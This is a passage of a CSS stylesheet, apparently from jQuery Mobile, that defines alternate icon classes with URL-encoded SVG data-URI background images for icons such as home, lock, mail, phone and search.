url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M13.621%2C5.904l-1.036-0.259c-0.168-0.042-0.303-0.168-0.355-0.332c-0.092-0.284-0.205-0.559-0.339-0.82%20c-0.079-0.153-0.073-0.337%2C0.017-0.486l0.549-0.915c0.118-0.196%2C0.088-0.448-0.075-0.61l-0.862-0.863%20c-0.162-0.163-0.414-0.193-0.611-0.075l-0.916%2C0.55C9.844%2C2.182%2C9.659%2C2.188%2C9.506%2C2.109C9.244%2C1.975%2C8.97%2C1.861%2C8.686%2C1.77%20c-0.165-0.052-0.29-0.187-0.332-0.354L8.095%2C0.379C8.039%2C0.156%2C7.839%2C0%2C7.609%2C0H6.391c-0.229%2C0-0.43%2C0.156-0.485%2C0.379L5.646%2C1.415%20C5.604%2C1.582%2C5.479%2C1.718%2C5.313%2C1.77c-0.284%2C0.092-0.559%2C0.206-0.82%2C0.34C4.339%2C2.188%2C4.155%2C2.182%2C4.007%2C2.093L3.092%2C1.544%20c-0.196-0.118-0.448-0.087-0.61%2C0.075L1.619%2C2.481C1.457%2C2.644%2C1.426%2C2.896%2C1.544%2C3.093l0.549%2C0.914%20c0.089%2C0.148%2C0.095%2C0.332%2C0.017%2C0.486C1.975%2C4.755%2C1.861%2C5.029%2C1.77%2C5.314c-0.053%2C0.164-0.188%2C0.29-0.354%2C0.332L0.379%2C5.905%20C0.156%2C5.961%2C0%2C6.161%2C0%2C6.391v1.219c0%2C0.229%2C0.156%2C0.43%2C0.379%2C0.485l1.036%2C0.26C1.582%2C8.396%2C1.717%2C8.521%2C1.77%2C8.687%20c0.092%2C0.284%2C0.205%2C0.559%2C0.34%2C0.82C2.188%2C9.66%2C2.182%2C9.844%2C2.093%2C9.993l-0.549%2C0.915c-0.118%2C0.195-0.087%2C0.448%2C0.075%2C0.61%20l0.862%2C0.862c0.162%2C0.163%2C0.414%2C0.193%2C0.61%2C0.075l0.915-0.549c0.148-0.089%2C0.332-0.095%2C0.486-0.017%20c0.262%2C0.135%2C0.536%2C0.248%2C0.82%2C0.34c0.165%2C0.053%2C0.291%2C0.187%2C0.332%2C0.354l0.259%2C1.036C5.96%2C13.844%2C6.16%2C14%2C6.39%2C14h1.22%20c0.229%2C0%2C0.43-0.156%2C0.485-0.379l0.259-1.036c0.042-0.167%2C0.168-0.302%2C0.333-0.354c0.284-0.092%2C0.559-0.205%2C0.82-0.34%20c0.154-0.078%2C0.338-0.072%2C0.486%2C0.017l0.914%2C0.549c0.197%2C0.118%2C0.449%2C0.088%2C0.611-0.074l0.862-0.863%20c0.163-0.162%2C0.193-0.415%2C0.075-0.611l-0.549-0.915c-0.089-0.148-0.096-0.332-0.017-0.485c0.134-0.263%2C0.248-0.536%2C0.339-0.82%20c0.053-0.165%2C0.188-0.291%2C0.355-0.333l1.036-0.259C13.844%2C8.039%2C14%2C7.839%2C14%2C7.609V6.39C14%2C6.16%2C13.844%2C5.96%2C13.621%2C5.904z%20M7%2C10%20c-1.657%2C0-3-1.343-3-3s1.343-3%2C3-3s3%2C1.343%2C3%2C3S8.657%2C10%2C7%2C10z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-grid:after, .ui-alt-icon .ui-icon-grid:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M3%2C0H1C0.447%2C0%2C0%2C0.447%2C0%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V1C4%2C0.447%2C3.553%2C0%2C3%2C0z%20M8%2C0H6%20C5.447%2C0%2C5%2C0.447%2C5%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V1C9%2C0.447%2C8.553%2C0%2C8%2C0z%20M13%2C0h-2c-0.553%2C0-1%2C0.447-1%2C1v2%20c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V1C14%2C0.447%2C13.553%2C0%2C13%2C0z%20M3%2C5H1C0.447%2C5%2C0%2C5.447%2C0%2C6v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2%20c0.553%2C0%2C1-0.447%2C1-1V6C4%2C5.447%2C3.553%2C5%2C3%2C5z%20M8%2C5H6C5.447%2C5%2C5%2C5.447%2C5%2C6v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V6%20C9%2C5.447%2C8.553%2C5%2C8%2C5z%20M13%2C5h-2c-0.553%2C0-1%2C0.447-1%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V6C14%2C5.447%2C13.553%2C5%2C13%2C5z%20M3%2C10%20H1c-0.553%2C0-1%2C0.447-1%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1v-2C4%2C10.447%2C3.553%2C10%2C3%2C10z%20M8%2C10H6c-0.553%2C0-1%2C0.447-1%2C1v2%20c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1v-2C9%2C10.447%2C8.553%2C10%2C8%2C10z%20M13%2C10h-2c-0.553%2C0-1%2C0.447-1%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2%20c0.553%2C0%2C1-0.447%2C1-1v-2C14%2C10.447%2C13.553%2C10%2C13%2C10z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-heart:after, .ui-alt-icon .ui-icon-heart:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M7%2C1.958c-2-3-7-2.128-7%2C1.872c0%2C3%2C4%2C7%2C4%2C7s2.417%2C2.48%2C3%2C3c0.583-0.52%2C3-3%2C3-3s4-4%2C4-7C14-0.169%2C9-1.042%2C7%2C1.958z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-home:after, .ui-alt-icon .ui-icon-home:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%227%2C0%200%2C7%202%2C7%202%2C14%205%2C14%205%2C9%209%2C9%209%2C14%2012%2C14%2012%2C7%2014%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-info:after, .ui-alt-icon .ui-icon-info:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M7%2C0C3.134%2C0%2C0%2C3.134%2C0%2C7s3.134%2C7%2C7%2C7s7-3.134%2C7-7S10.866%2C0%2C7%2C0z%20M7%2C2c0.552%2C0%2C1%2C0.447%2C1%2C1S7.552%2C4%2C7%2C4S6%2C3.553%2C6%2C3%20S6.448%2C2%2C7%2C2z%20M9%2C11H5v-1h1V6H5V5h3v5h1V11z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-location:after, .ui-alt-icon .ui-icon-location:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M7%2C0C4.791%2C0%2C3%2C1.791%2C3%2C4c0%2C2%2C4%2C10%2C4%2C10s4-8%2C4-10C11%2C1.791%2C9.209%2C0%2C7%2C0z%20M7%2C6C5.896%2C6%2C5%2C5.104%2C5%2C4s0.896-2%2C2-2%20c1.104%2C0%2C2%2C0.896%2C2%2C2S8.104%2C6%2C7%2C6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-lock:after, .ui-alt-icon .ui-icon-lock:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M12%2C6V5c0-2.762-2.238-5-5-5C4.239%2C0%2C2%2C2.238%2C2%2C5v1H1v8h12V6H12z%20M7.5%2C9.848V12h-1V9.848C6.207%2C9.673%2C6%2C9.366%2C6%2C9%20c0-0.553%2C0.448-1%2C1-1s1%2C0.447%2C1%2C1C8%2C9.366%2C7.793%2C9.673%2C7.5%2C9.848z%20M10%2C6H4V5c0-1.657%2C1.343-3%2C3-3s3%2C1.343%2C3%2C3V6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-mail:after, .ui-alt-icon .ui-icon-mail:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M0%2C3.75V12h14V3.75L7%2C9L0%2C3.75z%20M14%2C2H0l7%2C5L14%2C2z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-minus:after, .ui-alt-icon .ui-icon-minus:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Crect%20y%3D%225%22%20width%3D%2214%22%20height%3D%224%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-navigation:after, .ui-alt-icon .ui-icon-navigation:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2213%2C1%200%2C6%207%2C7%208%2C14%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-phone:after, .ui-alt-icon .ui-icon-phone:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M6.949%2C9.182C6.175%2C8.549%2C5.281%2C7.697%2C4.507%2C6.736C3.963%2C6.063%2C3.483%2C5.355%2C3.979%2C4.858l-3.482-3.48%20c-0.508%2C0.634-1.633%2C3.654%2C3.188%2C8.598c5.08%2C5.211%2C8.356%2C4.097%2C8.92%2C3.511l-3.396-3.399C8.734%2C10.561%2C8.123%2C10.139%2C6.949%2C9.182z%20%20M13.83%2C11.512v-0.004c0%2C0-2.648-2.646-2.649-2.647c-0.21-0.212-0.546-0.205-0.754%2C0.002L9.465%2C9.823l3.402%2C3.407%20c0%2C0%2C0.963-0.961%2C0.961-0.961l0.002-0.002C14.053%2C12.049%2C14.031%2C11.713%2C13.83%2C11.512z%20M5.202%2C3.636V3.634%20c0.222-0.222%2C0.2-0.557%2C0-0.758V2.873c0%2C0-2.726-2.725-2.727-2.726c-0.21-0.21-0.545-0.205-0.753%2C0.001L0.761%2C1.113L4.24%2C4.595%20C4.241%2C4.596%2C5.202%2C3.637%2C5.202%2C3.636z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-plus:after, .ui-alt-icon .ui-icon-plus:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C5%209%2C5%209%2C0%205%2C0%205%2C5%200%2C5%200%2C9%205%2C9%205%2C14%209%2C14%209%2C9%2014%2C9%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-power:after, .ui-alt-icon .ui-icon-power:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M11.243%2C2.408c-0.392-0.401-1.024-0.401-1.415%2C0c-0.391%2C0.401-0.391%2C1.054%2C0%2C1.455C10.584%2C4.642%2C11%2C5.675%2C11%2C6.773%20s-0.416%2C2.133-1.172%2C2.91c-1.512%2C1.558-4.145%2C1.558-5.656%2C0C3.416%2C8.904%2C3%2C7.872%2C3%2C6.773C3%2C5.673%2C3.416%2C4.64%2C4.172%2C3.863%20c0.39-0.401%2C0.39-1.054%2C0-1.455c-0.391-0.401-1.024-0.401-1.415%2C0C1.624%2C3.574%2C1%2C5.125%2C1%2C6.773c0%2C1.647%2C0.624%2C3.199%2C1.757%2C4.365%20c1.134%2C1.166%2C2.64%2C1.809%2C4.243%2C1.809c1.604%2C0%2C3.109-0.645%2C4.243-1.811C12.376%2C9.975%2C13%2C8.423%2C13%2C6.773%20C13%2C5.125%2C12.376%2C3.574%2C11.243%2C2.408z%20M7%2C8.053c0.553%2C0%2C1-0.445%2C1-1v-6c0-0.553-0.447-1-1-1c-0.553%2C0-1%2C0.447-1%2C1v6%20C6%2C7.604%2C6.447%2C8.053%2C7%2C8.053z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-recycle:after, .ui-alt-icon .ui-icon-recycle:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M3%2C7h1L2%2C4L0%2C7h1c0%2C3.313%2C2.687%2C6%2C6%2C6c0.702%2C0%2C1.374-0.127%2C2-0.35v-2.205C8.41%2C10.789%2C7.732%2C11%2C7%2C11C4.791%2C11%2C3%2C9.209%2C3%2C7z%20%20M13%2C7c0-3.313-2.688-6-6-6C6.298%2C1%2C5.626%2C1.127%2C5%2C1.349v2.206C5.59%2C3.211%2C6.268%2C3%2C7%2C3c2.209%2C0%2C4%2C1.791%2C4%2C4h-1l2%2C3l2-3H13z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-refresh:after, .ui-alt-icon .ui-icon-refresh:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214.001px%22%20height%3D%2214.002px%22%20viewBox%3D%220%200%2014.001%2014.002%22%20style%3D%22enable-background%3Anew%200%200%2014.001%2014.002%3B%22%20%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M14.001%2C6.001v-6l-2.06%2C2.06c-0.423-0.424-0.897-0.809-1.44-1.122C7.153-0.994%2C2.872%2C0.153%2C0.939%2C3.501%20c-1.933%2C3.348-0.786%2C7.629%2C2.562%2C9.562c3.348%2C1.933%2C7.629%2C0.785%2C9.562-2.562l-1.732-1c-1.381%2C2.392-4.438%2C3.211-6.83%2C1.83%20s-3.211-4.438-1.83-6.83s4.438-3.211%2C6.83-1.83c0.389%2C0.225%2C0.718%2C0.506%2C1.02%2C0.81l-2.52%2C2.52H14.001z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-search:after, .ui-alt-icon .ui-icon-search:after, .ui-input-search:after { background-image: 